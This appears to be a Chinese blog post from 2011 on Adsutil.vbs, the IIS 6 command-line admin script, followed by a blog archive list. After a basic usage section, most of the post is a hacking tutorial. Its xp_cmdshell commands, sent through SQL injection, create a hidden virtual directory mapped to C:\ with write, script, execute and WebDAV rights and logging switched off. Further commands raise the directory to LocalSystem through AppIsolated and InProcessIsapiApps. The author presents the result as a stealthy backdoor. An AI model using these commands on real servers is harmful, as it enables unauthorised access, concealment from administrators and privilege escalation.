Adsutil.vbs在脚本入侵中的妙用
2011年03月06日
Adsutil.vbs是什么?他是视窗系统 2003的IIS服务自带的基于命令行下的IIS管 理脚本,位于%SystemDrive%\Inetpub\AdminScripts目录下,95,426字节。这么大的脚本一看就知道功能肯定非常强 大,事实也确是如此。我感觉他就是个命令行下的“Internet 信息服务管理器”(事实上视窗系统 2000用%SystemDrive%\Inetpub\AdminScripts下原有的20多个VBS进行管理,而到了2003则只剩下 Adsutil.vbs一个了,足以说明他的功能是多么强大)。
? 提到Adsutil.vbs就不得不提到MetaBase.bin,这个文件是IIS最重要的设置文件,所有IIS的设置最终都会储存在这个文件中,IIS管理器和Adsutil.vbs就是通过对这个文件读取设置信息来显示给用户的。他的储存结构十分像注册表,是一种树型储存结构。IIS管理器和Adsutil.vbs通过一个Adspath的路径来访问MetaBase.bin,路径是由IIS:\\开头,其中LocalHost表示本地服务器,而W3svc表示IIS服务,如IIS:\\LocalHost/w3svc/1表示本地服务器上的第一个WEB站点,IIS:\\LocalHost/w3svc/1/root/Vdir表示第一个WEB站点根目录下的Vdir虚拟目录。
? Adsutil.vbs基本用法
? 有了这些前置知识,下面再回到Adsutil.vbs来看看他的用法:
C:\Inetpub\AdminScripts>cscript Adsutil.vbs DL.bitsCN.com网管软件下载
Microsoft (R) 视窗系统 Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
Usage:
?? ADSUTIL.VBS [ []]
Description:
IIS administration utility that enables the configuration of metabase properties
Supported Commands:??//支持的命令,这个最重要
GET,SET,ENUM,DELETE,CREATE,COPY,APPCREATEINPROC,APPCREATEOUTPROC,APPCREATEPOOLPROC,APPDELETE,APPUNLOAD, APPGETSTATUS
Samples:??//简单的几个例子
Adsutil.vbs GET W3SVC/1/ServerBindings? //查看第一个虚拟WEB站点的邦定端口。这里的W3SVC/1是IIS:\\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性。下同。
Adsutil.vbs SET W3SVC/1/ServerBindings ":81:"?//设定第一个虚拟WEB站点的邦定端口为81。
Adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"?//在第一个虚拟WEB站点根目录下建立一个MyVdir的虚拟目录。后面的“IIsWebVirtualDir”指的是目录类型。
Adsutil.vbs START_SERVER W3SVC/1?//启动第一个虚拟WEB站点。 bitsCN.Com
Adsutil.vbs ENUM /P W3SVC? //查看IIS的所有站点。
For Extended Help type:
Adsutil.vbs HELP?//如果想要进一步的查看帮助,键入此命令。
以上“//”后的文字都是我添加上去的注释,相信这样解释大家应该能看懂了吧。
? 我们所常用的Adsutil.vbs的命令有这么几个:GET,SET,ENUM,DELETE,CREATE。目前我来一一说明:GET命令通常是用来 查看目录的各项属性值;SET是用来设定目录属性用的;ENUM也是用来查看属性,所不同的是他直接把所有设置了的属性直接全部显示出来。通常一个目录就 有好几页东西可看……他有个可选的“/p”开关符,加上了这个开关,他只会列出此目录下的所有虚拟目录。
? 洞察虚拟目录属性
? 一个虚拟目录的大致属性值如下(只列出了常用的,和入侵过程息息相关的):
KeyType:(STRING) "IIsWebVirtualDir"?//目录类型,(STRING)说明他是个字符串类型的属性。
AppRoot:(STRING) "/LM/W3SVC/1/ROOT"?//目录IIS路径。
AppFriendlyName:(STRING) "默认应用程式"?//应用程式名。
AppIsolated:(INTEGER) 2?//指定运行于进程外还是进程中,数字类型属性。
bitscn.com
HttpCustomHeaders:(LIST) (1 Items)? //自定义IIS数据头。
"Powered By : www.WoFeiWo.Info"
HttpErrors:(LIST) (42 Items)?//各种IIS代码所返回的页面。能自行设置。
DefaultDoc:(STRING) "Default.htm,index.htm,Default.asp,index.asp,Default.php,index.php,Default.aspx,index.aspx"? //目录的默认主页面名称。
Path:(STRING) "D:\ftp"?//目录所真正映射的物理路径。
AccessExecute:(BOOLEAN) False? //目录的执行权限,是布尔值。
AccessSource:(BOOLEAN) False? //目录的Webdav访问是否允许。
AccessRead:(BOOLEAN) True? //目录的只读权限。
AccessWrite:(BOOLEAN) False? //目录的写权限。
AccessScript:(BOOLEAN) True??//目录是否允许执行脚本。
AccessNoRemoteExecute:(BOOLEAN) False
AccessNoRemoteRead:(BOOLEAN) False
AccessNoRemoteWrite:(BOOLEAN) False
AccessNoRemoteScript:(BOOLEAN) False
AccessNoPhysicalDir:(BOOLEAN) False
ScriptMaps:(LIST) (27 Items)? //应用程式扩展名映射
".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" bbs.bitsCN.com
".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE"
".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
………………?//这里省略N多数据。
AspEnableParentPaths:(BOOLEAN) True
AppPoolId:(STRING) "DefaultAppPool"?//应用程式池名称。
DontLog:(BOOLEAN) True? //禁止IISLog纪录。
DirBrowseFlags:(INTEGER) -1073741762
EnableDirBrowsing:(BOOLEAN) True?//目录是否允许列目录。
DirBrowseShowDate:(BOOLEAN) True?//这里及以下都是显示目录时的参数设置。
DirBrowseShowTime:(BOOLEAN) True
DirBrowseShowSize:(BOOLEAN) True
DirBrowseShowExtension:(BOOLEAN) True
DirBrowseShowLongDate:(BOOLEAN) True
EnableDefaultDoc:(BOOLEAN) True?//是否开启默认主页文件。
以上是我用“Cscript Adsutil.vbs ENUM w3svc/1/root”命令在自己机器上察看到的,大家也能自己输入以上命令研究。
上面的属性我们都能通过SET命令来进行设置,如下方式:
Cscript Adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值 bitsCN.Com
如:
Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1
设置第一个虚拟WEB站点下Wofeiwo虚拟目录的可读权限为Ture。
Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”
这是/设置目录的映射路径是“C:\”。
? Adsutil.vbs在入侵中的作用
? 1.MSSQL Injection的上传新思路
? 或许大家会在MSSQL的注入中碰到这种情况:SA权限,能执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服务 器是在内网,外面是个堡垒主机,只是做了个80端口的映射,3389开了没有用(内网连不上),所有反向木马也传不上去(Tftp、Ftp、Wget、 exe2bat等等)这时候你该怎么办?
? Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个非常好的思路:就是利用%SystemDrive%\Inetpub\ AdminScripts下的VBS建立一个新的虚拟目录,自定义其映射的绝对路径。这样能绕过了对WEB绝对路径的猜解,然后通过BACKUP或 MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接Echo)就能得到了一个Shell。
? 上面的想法的确非常好,可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么 低,而Echo……我也不想说了,一行一行写那简直是找罪受,还要不停地转特别字符……其实我们能把Amanl大哥的想法改进一下:在我们建立一个新的 虚拟目录的时候,能加上写目录的权限,再加上Webdav。那么我们不就能直接通过IIS上传所有文件了吗?也不仅仅局限于文本文件了。如果我们上传了一个反向后门再通过SA执行!呵呵,一切就都搞定了!来,马上实验一下: bitscn.com
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”’;--
注意上面的特别字符要自己转变,或你能用NBSI2或小路的SQLCOMM来执行以上命令。这样我们就在第一个WEB站点下建立了一个Wofeiwo的虚拟目录,映射到了C:\根目录。给他加上读和写的权限,为了要一个Webshell ,我再加上执行脚本的权限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1’;--
写到这里,看过Surperhei写的《对IIS写权限的利用》一文的朋友可能会想要自己构造HTTP包来上传文件,其实有更简单的方法: bbs.bitsCN.com
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1’;--
? 设置为允许列目录和Webdav访问,然后打开你的IE,Ctrl+O打开“打开”对话框,键入你刚才设置的虚拟目录,选中“以Web目录方式打开”,确定。如图1所示:
=700) window.open('http://www.sudu.cn/info/upimg/hack/20070316/11J01A21060DZ2.jpg');" border=0 src="http://www.sudu.cn/info/upimg/hack/20070316/11J01A21060DZ2.jpg">
图1
啊哈!看到所有的目录了吗?如图2所示:
=700) window.open('http://www.sudu.cn/info/upimg/hack/20070316/11J01A26120HL6.jpg');" border=0 src="http://www.sudu.cn/info/upimg/hack/20070316/11J01A26120HL6.jpg">
图2
目前你就能像操作普通目录相同操作以上文件了,还能Ctrl+C、Ctrl+V复制文件呢!实现了方便上传、修改文件的功能。 中国.网管联盟
? 2.直接制作一个IIS后门
? 其实我们完万能更进一步利用上面所说的思路直接制作一个IIS后门。来,看我的实现(这里使用了动鲨在《近乎完美的IIS后门》中所介绍的方法。不过我是直接用Adsutil.vbs这个MS自带的工具完成了设置,对此文章感兴趣的朋友能自己找来看看):
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;--?//首先建立一个wofeiwo目录。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"’;--?//在wofeiwo目录下又建立了一个door目录。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:\”’;--?//设置door目录映射到C:根目录。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1’;--?//这里及以下都是给目录设置个种权限。能参考以上的命令注释。 中国.网管联盟
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1’;--
? 可能会有人说,这不就是和上面的相同吗?你仔细看会发现我们上面新建的第一个目录“wofeiwo”并没有设置“Path”属性,也就是说他没有映射到所有实际的目录上去。这里应用了IIS的一个BUG(涉及到IIS5.0\5.1\6.0),即对于没有“Path”属性的虚拟目录是不会在IIS管理器中出现的,相当于一个隐藏的目录,而其下的虚拟目录“door”同样是由于上级目录不可见的,所以他也是不可见的!不过“door”目录是设置了“Path”属性的,所以如果我们提交http://IP/wofeiwo/door/路径,其结果是会返回C:\下的文件目录,目前此目录已是我们能任意写文件读文件了,并且还能转到System32目录下运行程式。我们的后门雏形建成了(注意看我这里是加上了AccessExecute执行权限的)。
bitsCN.nET中国网管博客
? 不过我们目前执行的程式都还是IIS默认的IUSR用户的Guest权限,没有大的权限我们总是不爽,下面来提升我们的权限,加IUSR用户为管理员就不说了。下面说说另两个方法:
(1) 设置AppIsolated,使此目录下程式在IIS的进程中进行,这样就继承了IIS的System权限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0’;--
(2)将解析ASP文件的Asp.dll加入到IIS的特权Dll中,使其在进程中运行,从而的到IIS的LocalSystem权限。操作方式如下,首先得到IIS所有的特权Dll:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs GET w3svc/InProcessIsapiApps’;--
返回:
InProcessIsapiApps???????: (LIST)?(5 Items)
"C:\WINDOWS\system32\inetsrv\httpext.dll"
"C:\WINDOWS\system32\inetsrv\httpodbc.dll"
"C:\WINDOWS\system32\inetsrv\ssinc.dll"
"C:\WINDOWS\system32\msw3prt.dll"
"C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" bbs.bitsCN.com
再将Asp.dll设置到InProcessIsapiApps组中去。这里要注意,把上面的所有查到的Dll都加上,否则会被删除:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ Adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"’;--
返回:
InProcessIsapiApps: (LIST)"C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"
? 这样就设置好了,以后无论什么ASP文件就都是 LoaclSystem权限了。通过以上的步骤,我们的IIS后门就设置好了。你能上传ASP木马加以辅助控制,这样的设置型后门是非常难被管理员发现的,并且完全通过IIS的80端口通讯,又没有日志记录,所以相当安全。
发表评论
-
[转]命令行创建快捷方式的批处理脚本
2012-01-20 10:02 915[转]命令行创建快捷方式的批处理脚本 2010年10月27日 ... -
自动化测试规范小结
2012-01-20 10:02 865自动化测试规范小结 20 ... -
自动获取CPU使用率的脚本
2012-01-20 10:02 1099自动获取CPU使用率的脚本 2011年04月28日 一个 ... -
业务组件学习资料
2012-01-20 10:01 637业务组件学习资料 2011 ... -
批量修改多个文件内容的脚本
2012-01-20 10:01 1017批量修改多个文件内容的脚本 2010年07月30日 如果 ... -
【黑客】利用VBS脚本让QQ永远在线,等级速升
2012-01-19 15:03 546【黑客】利用VBS脚本让QQ永远在线,等级速升 2010年0 ... -
用vbs实现获取电脑硬件信息的脚本-1
2012-01-19 15:03 918用vbs实现获取电脑硬件信息的脚本-1 2011年11月19 ... -
利用VBS脚本让qq永远在线
2012-01-19 15:03 601利用VBS脚本让qq永远在线 2011年06月07日 让 ... -
vbs脚本实例
2012-01-19 15:03 730vbs脚本实例 2011年02月28日 rem 结束QQ ... -
FLTK简介
2012-01-17 04:49 885FLTK简介 2011年11月22日 ... -
J2SE简介与J2EE、J2ME的比较
2012-01-17 04:49 469J2SE简介与J2EE、J2ME的比较 2010年06月15 ... -
cegui基础
2012-01-17 04:49 1206cegui基础 2010年11月12日 ... -
perfHUD使用说明
2012-01-17 04:49 645perfHUD使用说明 2011年04月14日 perf ... -
数学二分法解方程vbs脚本――超简单的
2012-01-16 03:40 764数学二分法解方程vbs脚本――超简单的 2009年10月31 ... -
VBS脚本
2012-01-16 03:40 682VBS脚本 2011年06月30日 我用VBS写的往EX ... -
xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集
2012-01-16 03:40 918xp、2003开3389+非net创建管理用户+Shift后门 ... -
Trojan.DL.VBS.Agent.r 脚本病毒 ASP解密
2012-01-16 03:40 590Trojan.DL.VBS.Agent.r 脚本病毒 ASP解 ... -
双击盘符提示“Windows脚本宿主”无法找到脚本文件autorun.vbs的解决办法
2012-01-16 03:40 851双击盘符提示“Windows脚本宿主”无法找到脚本文件auto ...
相关推荐
Adsutil.vbs来获取IIS用户密码的方法
adsutil.vbs iis 文 件 。
要下的话,我知道你懂的。。。synciwam.vbs和adsutil.vbs
通过cmd下直接运行cscript就提示拒绝访问,因为通过软件开发网安全设置的机器,都是做了... 您可能感兴趣的文章:IIS管理脚本之adsutil.vbs的使用说明Adsutil.vbs 在脚本攻击中的妙用[我非我原创]使用 Adsutil.vbs iis
adsutil.vbs是Windows 2003的IIS服务自带的基于命令行下的IIS管理脚本,windows 2003使用IIS6.0,现在的IIS7.0、7.5默认是不安装这个IIS6脚本工具的,找不到adsutil.vbs,那是因为安装IIS的时候没有勾选这个组件。...
Adsutil.vbs 是一个 IIS 管理实用程序,它通过结合使用 Microsoft Visual Basic Scripting Edition (VBScript) 与 Active Directory 服务界面 (ADSI) 来处理 IIS 配置。该脚本应通过随 Windows 脚本主机一同安装的 ...
iis6完整安装包,在win2003及winxp中测试通过,包含其它下载包中缺少的: achg.asp ADSUTIL.VB_ aexp2b.asp aexp4b.asp appsrv.msc asp.mfl iisadmin.mfl iisadmin.mof iispwchg.dll w3core.dll w3core.mfl w3core....
Windows XP SP3 IIS 安装包下载
Windows XP安装IIS所需文件之一。在安装的过程中有几个时候是会弹出需要文件复制来源的,点击浏览找到刚下载解压的路径。
要限制这片超大端口的范围,可以用IIS管理实用程序Adsutil.vbs. cd c:\Inetpub\AdminScripts adsutil.vbs set /MSFTPSVC/PassivePortRange “8900-8909” (例:开放指定的10个端口) 重新启动 FTP 服务 注意:如果开了...
achg.asp,adsutil.vbs,aexp2b.asp,aexp4b.asp,appsrv,asp.mfl,iisadmin.dll,iisadmin.mfl,iisadmin.mof,iispwchg.dll,w3core.dll,w3core.mfl,w3core.mof,w3dt.dll,w3dt.mfl,w3dt.mof,w3isapi.dll,w3isapi.mfl,w3...
IIS6完整安装包含iisadmin.mfl,asp.mfl,adsutil.vbs等
PHP在64位Windows2003和IIS下运行 首先将IIS由64位模式修改为32位模式,只要一个命令即可: cscript %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1 恢复为64位模式的...
IIS 6.0 FOR WINDOWS 2003 SP1 补全缺少的adsutil.vbs
adsutil.vbs w3isapi.mof w3isapi.mfl iisadmin.mfl asp.mfl iisadmin.mof